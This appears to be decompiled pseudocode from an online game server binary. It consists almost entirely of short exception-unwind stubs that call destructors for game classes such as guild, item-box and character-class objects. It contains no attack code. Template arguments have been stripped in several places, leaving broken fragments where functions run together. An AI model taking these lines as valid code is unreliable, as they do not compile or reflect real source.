(00583DF0) -------------------------------------------------------- void __usercall _L160711(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00583DF8) -------------------------------------------------------- void __usercall _L160712(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00583E10) -------------------------------------------------------- void __usercall _L162031_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (00583E30) -------------------------------------------------------- void __usercall _L162356(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (00583E90) -------------------------------------------------------- void __usercall _L163762(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (00583ED0) -------------------------------------------------------- void __usercall _L164057(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00583EDB) -------------------------------------------------------- void __usercall _L164058(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 72)); } //----- (00583EE3) -------------------------------------------------------- void __usercall _L164059(int a1) { SkillEffectApply::SkillEffectEraser::_SkillEffectEraser((SkillEffectApply::SkillEffectEraser *)(a1 - 124)); } //----- (00583F00) -------------------------------------------------------- void __usercall _L74437(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (00583F20) -------------------------------------------------------- void __usercall _L74902(int a1) { BlockDistribute::BlockingDistribute::_BlockingDistribute((BlockDistribute::BlockingDistribute *)(a1 - 44)); } //----- (00583F40) -------------------------------------------------------- void __usercall _L168753(int a1) { List::_List((ItemLotAnalyser::LotAnalyser *)(*(_DWORD *)(a1 - 16) + 1004)); } //----- (00583F4E) -------------------------------------------------------- void __usercall _L168754(int a1) { List::_List((ItemLotAnalyser::LotAnalyser *)(*(_DWORD *)(a1 - 16) + 1060)); } //----- (00583F5C) -------------------------------------------------------- void __usercall _L168755(int a1) { List::_List((ItemLotAnalyser::LotAnalyser *)(*(_DWORD *)(a1 - 16) + 1116)); } //----- (00583F80) -------------------------------------------------------- void __usercall _L177786(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00583FA0) -------------------------------------------------------- void __usercall _L170040(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 228)); } //----- (00583FC0) -------------------------------------------------------- void __usercall _L170176(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00583FC8) -------------------------------------------------------- void __usercall _L170177(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (00583FD0) -------------------------------------------------------- void __usercall _L170178(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00583FF0) -------------------------------------------------------- void __usercall _L170913(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 0x17Cu, 30, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00584010) -------------------------------------------------------- void __usercall _L171018(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00584018) -------------------------------------------------------- void __usercall _L171019(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00584030) -------------------------------------------------------- void __usercall _L171136(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00584038) -------------------------------------------------------- void __usercall _L171137(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 20)); } //----- (00584050) -------------------------------------------------------- void __usercall _L171320(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0058405B) -------------------------------------------------------- void __usercall _L171321(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 152)); } //----- (00584066) -------------------------------------------------------- void __usercall _L171322(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 168)); } //----- (00584080) -------------------------------------------------------- void __usercall _L171683(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (005840A0) -------------------------------------------------------- void __usercall _L171753(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (005840A8) -------------------------------------------------------- void __usercall _L171754(int a1) { AxialListGhostBan::_AxialListGhostBan((AxialListGhostBan *)(a1 - 36)); } //----- (005840C0) -------------------------------------------------------- int __cdecl _L172213_0() { int result; // eax@1 result = _local_static_guard_ & 0xFFFFFFFE; _local_static_guard_ &= 0xFFFFFFFEu; return result; } // 64B750: using guessed type int _local static guard_; //----- (005840E0) -------------------------------------------------------- void __usercall _L173721_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00584100) -------------------------------------------------------- void __usercall _L173777_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00584120) -------------------------------------------------------- void __usercall _L173803_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00584140) -------------------------------------------------------- void __usercall _L174054_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00584148) -------------------------------------------------------- void __usercall _L174071_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00584160) -------------------------------------------------------- void __usercall _L176066(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (005841A0) -------------------------------------------------------- void __usercall _L176805(int a1) { Observer::_Observer((Observer *)(a1 + 8)); } //----- (005841C0) -------------------------------------------------------- void __usercall _L177405(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005841C8) -------------------------------------------------------- void __usercall _L177406(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (005841D0) -------------------------------------------------------- void __usercall _L177407(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (005841D8) -------------------------------------------------------- void __usercall _L177548(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005841F0) -------------------------------------------------------- void __usercall _L177818(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (005841F8) -------------------------------------------------------- void __usercall _L178004(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 28)); } //----- (00584200) -------------------------------------------------------- void __usercall _L177820(int a1) { ChargedItemEffectList::ChargedEffectListRouter::_ChargedEffectListRouter((ChargedItemEffectList::ChargedEffectListRouter *)(a1 - 28)); } //----- (00584220) -------------------------------------------------------- void __usercall _L143617(int a1) { RollBackPosCallBackEvent::_RollBackPosCallBackEvent(*(RollBackPosCallBackEvent **)(a1 - 16)); } //----- (00584240) -------------------------------------------------------- void __usercall _L153629(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00584260) -------------------------------------------------------- void __usercall _L151565(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00584280) -------------------------------------------------------- void __usercall _L152647(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (005842C0) -------------------------------------------------------- void __usercall _L153533(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { CharClassWizMage::_CharClassWizMage(*(CharClassWizard **)(a1 - 16)); } //----- (005842E8) -------------------------------------------------------- void __usercall _L158064(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 68404)); } //----- (005842F6) -------------------------------------------------------- void __usercall _L158065(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 136808)); } //----- (00584304) -------------------------------------------------------- void __usercall _L158066(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 205212)); } //----- (00584312) -------------------------------------------------------- void __usercall _L158067(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 273616)); } //----- (00584320) -------------------------------------------------------- void __usercall _L158068(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 342020)); } //----- (0058432E) -------------------------------------------------------- void __usercall _L158069(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 410424)); } //----- (0058433C) -------------------------------------------------------- void __usercall _L158070(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 478828)); } //----- (0058434A) -------------------------------------------------------- void __usercall _L158071(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 547232)); } //----- (00584358) -------------------------------------------------------- void __usercall _L158072(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 615636)); } //----- (00584366) -------------------------------------------------------- void __usercall _L158073(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 684040)); } //----- (00584374) -------------------------------------------------------- void __usercall _L158074(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 752444)); } //----- (00584382) -------------------------------------------------------- void __usercall _L158075(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 820848)); } //----- (00584390) -------------------------------------------------------- void __usercall _L158076(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 889252)); } //----- (0058439E) -------------------------------------------------------- void __usercall _L158077(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 957656)); } //----- (005843AC) -------------------------------------------------------- void __usercall _L158078(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 1026060)); } //----- (005843BA) -------------------------------------------------------- void __usercall _L158079(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 1094464)); } //----- (005843C8) -------------------------------------------------------- void __usercall _L158080(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 1162868)); } //----- (005843D6) -------------------------------------------------------- void __usercall _L158081(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 1231272)); } //----- (005843E4) -------------------------------------------------------- void __usercall _L158082(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 1299676)); } //----- (005843F2) -------------------------------------------------------- void __usercall _L158083(int a1) { CharClassWizMage::_CharClassWizMage((CharClassWizard *)(*(_DWORD *)(a1 - 16) + 1368080)); } //----- (00584410) -------------------------------------------------------- void __usercall _L158921(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 180)); } //----- (00584430) -------------------------------------------------------- void __usercall _L158977(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00584450) -------------------------------------------------------- void __usercall _L161381(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00584470) -------------------------------------------------------- void __usercall _L157880(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16028)); } //----- (00584490) -------------------------------------------------------- void __usercall _L158327(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (005844B0) -------------------------------------------------------- void __usercall _L158581(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (005844D0) -------------------------------------------------------- void __usercall _L158773(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 316)); } //----- (005844DB) -------------------------------------------------------- unsigned int __cdecl _L158774() { unsigned int result; // eax@1 result = _S4_1 & 0xFFFFFFFE; _S4_1 &= 0xFFFFFFFEu; return result; } //----- (005844E9) -------------------------------------------------------- void __usercall _L158775(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (005844F4) -------------------------------------------------------- void __usercall _L158776(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 340)); } //----- (00584510) -------------------------------------------------------- void __usercall _L158968(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00584518) -------------------------------------------------------- void __usercall _L158969(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 36)); } //----- (00584530) -------------------------------------------------------- void __usercall _L159413(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00584550) -------------------------------------------------------- void __usercall _L159485(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00584558) -------------------------------------------------------- void __usercall _L159512(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00584570) -------------------------------------------------------- void __usercall _L159559(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00584578) -------------------------------------------------------- void __usercall _L159572(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00584590) -------------------------------------------------------- void __usercall _L156619(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005845B0) -------------------------------------------------------- void __usercall _L156383(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 208)); } //----- (005845BB) -------------------------------------------------------- void __usercall _L156385(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 176)); } //----- (005845C6) -------------------------------------------------------- void __usercall _L156386(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 156)); } //----- (005845E0) -------------------------------------------------------- void __usercall _L158827(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00584600) -------------------------------------------------------- void __usercall _L159006(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00584620) -------------------------------------------------------- void __usercall _L158515(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 16)); } //----- (00584640) -------------------------------------------------------- void __usercall _L158763(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00584660) -------------------------------------------------------- void __usercall _L158873(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00584668) -------------------------------------------------------- void __usercall _L158874(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00584680) -------------------------------------------------------- void __usercall _L161453(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005846A0) -------------------------------------------------------- void __usercall _L161017(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (005846A8) -------------------------------------------------------- void __usercall _L161018(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (005846C0) -------------------------------------------------------- void __usercall _L161127(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (005846E0) -------------------------------------------------------- void __usercall _L155787(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00584700) -------------------------------------------------------- void __usercall _L155886(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00584720) -------------------------------------------------------- void __usercall _L156086(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (0058472B) -------------------------------------------------------- void __usercall _L156087(int a1) { AxialListMobFind::_AxialListMobFind((AxialListMobFind *)(a1 - 168)); } //----- (00584740) -------------------------------------------------------- void __usercall _L156192(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00584760) -------------------------------------------------------- void __usercall _L161681(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00584780) -------------------------------------------------------- void __usercall _L162860_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005847A0) -------------------------------------------------------- void __usercall _L160777(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (005847C0) -------------------------------------------------------- void __usercall _L161216(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (005847C8) -------------------------------------------------------- void __usercall _L161217(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (005847E0) -------------------------------------------------------- void __usercall _L157683_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00584800) -------------------------------------------------------- void __usercall _L157837(int a1) { AxialListMobDistribute::_AxialListMobDistribute((AxialListMobDistribute *)(a1 - 20)); } //----- (00584820) -------------------------------------------------------- void __usercall _L157950(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00584840) -------------------------------------------------------- void __usercall _L158008(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00584848) -------------------------------------------------------- void __usercall _L158009(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00584860) -------------------------------------------------------- void __usercall _L156590(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00584880) -------------------------------------------------------- void __usercall _L155704(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (005848A0) -------------------------------------------------------- void __usercall _L156718(int a1) { operator delete__(*(void **)(a1 + 4)); } //----- (005848C0) -------------------------------------------------------- void __usercall _L13793(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (005848E0) -------------------------------------------------------- void __usercall _L157198(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00584900) -------------------------------------------------------- void __usercall _L156560(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00584908) -------------------------------------------------------- void __usercall _L156561(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (00584920) -------------------------------------------------------- void __usercall _L156950(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00584928) -------------------------------------------------------- void __usercall _L156951(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00584940) -------------------------------------------------------- void __usercall _L157106(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00584948) -------------------------------------------------------- void __usercall _L157107(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00584960) -------------------------------------------------------- void __usercall _L154998(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00584980) -------------------------------------------------------- void __usercall _L72742(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005849A0) -------------------------------------------------------- void __usercall _L71518(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005849C0) -------------------------------------------------------- void __usercall _L171118(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005849E0) -------------------------------------------------------- void __usercall _L162967_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (005849E8) -------------------------------------------------------- void __usercall _L162968_0(int a1) { AxialListNumberCount::_AxialListNumberCount((AxialListNumberCount *)(a1 - 24)); } //----- (00584A00) -------------------------------------------------------- void __usercall _L163007_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00584A08) -------------------------------------------------------- void __usercall _L163008_0(int a1) { VectorClass::VectorWithLength::_VectorWithLength((VectorClass::VectorWithLength *)(a1 - 28)); } //----- (00584A20) -------------------------------------------------------- void __usercall _L163364(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00584A40) -------------------------------------------------------- void __usercall _L163940(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00584A60) -------------------------------------------------------- void __usercall _L163978(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (00584A80) -------------------------------------------------------- void __usercall _L164904(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 428)); } //----- (00584AA0) -------------------------------------------------------- void __usercall _L167821(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (00584AC0) -------------------------------------------------------- void __usercall _L168593(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00584AE0) -------------------------------------------------------- void __usercall _L168751(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 140)); } //----- (00584AEB) -------------------------------------------------------- void __usercall _L168752(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 124)); } //----- (00584B00) -------------------------------------------------------- void __usercall _L169562(int a1) { MobDeadCount::_MobDeadCount((MobDeadCount *)(*(_DWORD *)(a1 - 20) + 72)); } //----- (00584B0B) -------------------------------------------------------- void __usercall _L169563(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 164)); } //----- (00584B19) -------------------------------------------------------- void __usercall _L169564(int a1) { std::set_std::allocator>::_set_std::allocator>((std::set,std::allocator > *)(*(_DWORD *)(a1 - 20) + 280)); } //----- (00584B40) -------------------------------------------------------- void __usercall _L171069(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00584B48) -------------------------------------------------------- void __usercall _L171070(int a1) { ShineCommonParameter::_ShineCommonParameter((ShineScript *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (00584B60) -------------------------------------------------------- void __usercall _L169765(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00584B90) -------------------------------------------------------- void __usercall _L170801(int a1) { MobDeadCount::_MobDeadCount((MobDeadCount *)(*(_DWORD *)(a1 - 16) + 72)); } //----- (00584B9B) -------------------------------------------------------- void __usercall _L170802(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 164)); } //----- (00584BC0) -------------------------------------------------------- void __usercall _L171033(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 316)); } //----- (00584BCB) -------------------------------------------------------- void __usercall _L171034(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00584BE0) -------------------------------------------------------- void __usercall _L75905(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (00584C00) -------------------------------------------------------- void __usercall _L147967(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (00584C20) -------------------------------------------------------- void __usercall _L148099(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00584C40) -------------------------------------------------------- void __usercall _L115851(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (00584C60) -------------------------------------------------------- void __usercall _L115936(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00584C80) -------------------------------------------------------- void __usercall _L158964(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00584CA0) -------------------------------------------------------- void __usercall _L157354(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00584CC0) -------------------------------------------------------- void __usercall _L157522(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00584CC8) -------------------------------------------------------- void __usercall _L157523(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00584CE0) -------------------------------------------------------- void __usercall _L158114(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 76)); } //----- (00584CE8) -------------------------------------------------------- void __usercall _L158115(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00584CF0) -------------------------------------------------------- void __usercall _L158116(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 48)); } //----- (00584D10) -------------------------------------------------------- void __usercall _L158330(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00584D18) -------------------------------------------------------- void __usercall _L158331(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00584D30) -------------------------------------------------------- void __usercall _L158608(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 8360)); } //----- (00584D3B) -------------------------------------------------------- void __usercall _L158609_0(int a1) { ItemProducer::_ItemProducer((ItemProducer *)(a1 - 8356)); } //----- (00584D50) -------------------------------------------------------- void __usercall _L158994(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00584D58) -------------------------------------------------------- void __usercall _L158996(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00584D70) -------------------------------------------------------- void __usercall _L157452(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00584D90) -------------------------------------------------------- void __usercall _L156123(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 16)); } //----- (00584DB0) -------------------------------------------------------- void __usercall _L157210(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00584DD0) -------------------------------------------------------- void __usercall _L156360(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 8212)); } //----- (00584DF0) -------------------------------------------------------- void __usercall _L156635(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00584DF8) -------------------------------------------------------- void __usercall _L156636(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 28)); } //----- (00584E10) -------------------------------------------------------- void __usercall _L156677(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00584E18) -------------------------------------------------------- void __usercall _L156678(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (00584E30) -------------------------------------------------------- void __usercall _L157051(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00584E50) -------------------------------------------------------- void __usercall _L157082(int a1) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::_GuildAcademyRewardStorageElement((GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *)(a1 - 8392)); } //----- (00584E70) -------------------------------------------------------- void __usercall _L157093(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 28)); } //----- (00584E90) -------------------------------------------------------- void __usercall _L158287(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00584EB0) -------------------------------------------------------- void __usercall _L158479(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00584ED0) -------------------------------------------------------- void __usercall _L157445(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00584ED8) -------------------------------------------------------- void __usercall _L157446(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 120)); } //----- (00584EF0) -------------------------------------------------------- void __usercall _L157635(int a1) { 